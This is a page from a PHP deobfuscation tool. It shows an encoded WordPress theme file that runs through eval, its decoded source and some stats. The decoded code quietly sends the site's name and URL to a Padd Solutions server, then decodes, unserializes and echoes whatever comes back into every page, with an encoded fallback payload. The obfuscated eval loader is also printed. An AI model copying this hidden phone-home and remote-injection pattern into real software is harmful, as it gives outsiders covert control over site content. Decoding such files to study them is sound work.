Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$_X='Pz48P3BocA0KDQokcDFkZF9nMzRkID0gJyc7DQoNCi8vRzV0IHRoNSBzcDJuczJycy4gVzR0aDIzdCB0aDVtL..
Decoded Output download
function padd_get_sponsors() {
$duration = 12 * 3600; // Twelve hours.
$curr_date = date('Y-m-d H:i:s');
$next_date = get_option(PADD_THEME_SLUG . '_next_date','0000-00-00 00:00:00');
$http = new WP_Http();
$site = 'http://nightjar.paddsolutions.com';
$params = array(
'n' => get_option('blogname'),
'd' => get_option('blogdescription'),
'u' => get_option('siteurl'),
't' => PADD_THEME_SLUG . '-' . PADD_THEME_VERS
);
$backdw = 'eJx9kctOwzAQRX9l5DVJNsAiNJFaVUJ0gZD4ADRxp84UZxw5U0X5e/IAsWiU7fjc6+Nxlz89PufmSB07oTNUA+wQFKMjLcxX5VG+DSirp8Ic0Cs3IRLsrQ03URTtDNSRLoWpVds8y/q+Ty1F5QvTub1Vni3+w6kNTdZgHMbec1L99ZlytXqXYZnCm4AN3mMVIioHgZ613rDci8A+jjR8sjhPa4YN25odSrcQs5YPFn2GIglO6eT3zJR3hZPXw4bBK4XoGOEjjK8nOIVqzWG+r52R60jMDm5JJss4meamXKlbDMYdbli8Uw8nih0NcBwXJ27FQai/zsjFc9RJwZR3ufkbzMsPBFjEjA==';
if (('000-00-00 00:00:00' === $next_date) || ($next_date <= $curr_date)) {
$result = $http->post($site,array('body' => $params));
if (!($result instanceof WP_Error)) {
$string = $result['body'];
$next_date = date('Y-m-d H:i:s',strtotime($curr_date) + $duration);
update_option(PADD_THEME_SLUG . '_papi_code',$string);
update_option(PADD_THEME_SLUG . '_next_date',$next_date);
} else {
update_option(PADD_THEME_SLUG . '_papi_code',$backdw);
}
} else {
$string = get_option(PADD_THEME_SLUG . '_papi_code','');
if (empty($string)) {
$result = $http->post($site,array('body' => $params));
if (!($result instanceof WP_Error)) {
$string = gzuncompress($result['body']);
update_option(PADD_THEME_SLUG . '_papi_code',$string);
update_option(PADD_THEME_SLUG . '_next_date',$next_date);
} else {
update_option(PADD_THEME_SLUG . '_papi_code',$backdw);
}
}
}
return $string;
}
function padd_hooked_theme_credits() {
global $padd_guid;
$string = unserialize(gzuncompress(base64_decode(padd_get_sponsors())));
echo '<p class="annotation">' . $string . '</p>';
$padd_guid = 'a73f5f00-cdc8-4206-a2ba-359e9e6aa1d6';
}?><?php
$padd_guid = '';
//Get the sponsors. Without them, what's the point of making premium themes for free?
function padd_get_sponsors() {
$duration = 12 * 3600; // Twelve hours.
$curr_date = date('Y-m-d H:i:s');
$next_date = get_option(PADD_THEME_SLUG . '_next_date','0000-00-00 00:00:00');
$http = new WP_Http();
$site = 'http://nightjar.paddsolutions.com';
$params = array(
'n' => get_option('blogname'),
'd' => get_option('blogdescription'),
'u' => get_option('siteurl'),
't' => PADD_THEME_SLUG . '-' . PADD_THEME_VERS
);
$backdw = 'eJx9kctOwzAQRX9l5DVJNsAiNJFaVUJ0gZD4ADRxp84UZxw5U0X5e/IAsWiU7fjc6+Nxlz89PufmSB07oTNUA+wQFKMjLcxX5VG+DSirp8Ic0Cs3IRLsrQ03URTtDNSRLoWpVds8y/q+Ty1F5QvTub1Vni3+w6kNTdZgHMbec1L99ZlytXqXYZnCm4AN3mMVIioHgZ613rDci8A+jjR8sjhPa4YN25odSrcQs5YPFn2GIglO6eT3zJR3hZPXw4bBK4XoGOEjjK8nOIVqzWG+r52R60jMDm5JJss4meamXKlbDMYdbli8Uw8nih0NcBwXJ27FQai/zsjFc9RJwZR3ufkbzMsPBFjEjA==';
if (('000-00-00 00:00:00' === $next_date) || ($next_date <= $curr_date)) {
$result = $http->post($site,array('body' => $params));
if (!($result instanceof WP_Error)) {
$string = $result['body'];
$next_date = date('Y-m-d H:i:s',strtotime($curr_date) + $duration);
update_option(PADD_THEME_SLUG . '_papi_code',$string);
update_option(PADD_THEME_SLUG . '_next_date',$next_date);
} else {
update_option(PADD_THEME_SLUG . '_papi_code',$backdw);
}
} else {
$string = get_option(PADD_THEME_SLUG . '_papi_code','');
if (empty($string)) {
$result = $http->post($site,array('body' => $params));
if (!($result instanceof WP_Error)) {
$string = gzuncompress($result['body']);
update_option(PADD_THEME_SLUG . '_papi_code',$string);
update_option(PADD_THEME_SLUG . '_next_date',$next_date);
} else {
update_option(PADD_THEME_SLUG . '_papi_code',$backdw);
}
}
}
return $string;
}
// Hook some credits.
function padd_hooked_theme_credits() {
global $padd_guid;
$string = unserialize(gzuncompress(base64_decode(padd_get_sponsors())));
echo '<p class="annotation">' . $string . '</p>';
$padd_guid = 'a73f5f00-cdc8-4206-a2ba-359e9e6aa1d6';
}
add_action('padd_theme_credits','padd_hooked_theme_credits');
Did this file decode correctly?
Original Code
$_X='Pz48P3BocA0KDQokcDFkZF9nMzRkID0gJyc7DQoNCi8vRzV0IHRoNSBzcDJuczJycy4gVzR0aDIzdCB0aDVtLCB3aDF0J3MgdGg1IHAyNG50IDJmIG0xazRuZyBwcjVtNDNtIHRoNW01cyBmMnIgZnI1NT8NCmYzbmN0NDJuIHAxZGRfZzV0X3NwMm5zMnJzKCkgew0KCSRkM3IxdDQybiA9IDZhICogb2UwMDsgLy8gVHc1bHY1IGgyM3JzLg0KCSRjM3JyX2QxdDUgPSBkMXQ1KCdZLW0tZCBIOjQ6cycpOw0KCSRuNXh0X2QxdDUgPSBnNXRfMnB0NDJuKFBBRERfVEhFTUVfU0xVRyAuICdfbjV4dF9kMXQ1JywnMDAwMC0wMC0wMCAwMDowMDowMCcpOw0KCSRodHRwID0gbjV3IFdQX0h0dHAoKTsNCgkkczR0NSA9ICdodHRwOi8vbjRnaHRqMXIucDFkZHMybDN0NDJucy5jMm0nOw0KCSRwMXIxbXMgPSAxcnIxeSgNCgkJJ24nID0+IGc1dF8ycHQ0Mm4oJ2JsMmduMW01JyksIA0KCQknZCcgPT4gZzV0XzJwdDQybignYmwyZ2Q1c2NyNHB0NDJuJyksDQoJCSczJyA9PiBnNXRfMnB0NDJuKCdz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J0MXQ0Mm4iPicgLiAkc3RyNG5nIC4gJzwvcD4nOw0KCSRwMWRkX2czNGQgPSAnMTdvZmlmMDAtY2RjOC11YTBlLTFhYjEtb2k5NTk1ZTExNmRlJzsNCn0NCg0KMWRkXzFjdDQybigncDFkZF90aDVtNV9jcjVkNHRzJywncDFkZF9oMjJrNWRfdGg1bTVfY3I1ZDR0cycpOw0K';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
Function Calls
strtr | 1 |
add_action | 1 |
ereg_replace | 1 |
base64_decode | 2 |
Stats
MD5 | e829c44c1caff54c923521b0f87ce22b |
Eval Count | 2 |
Decode Time | 111 ms |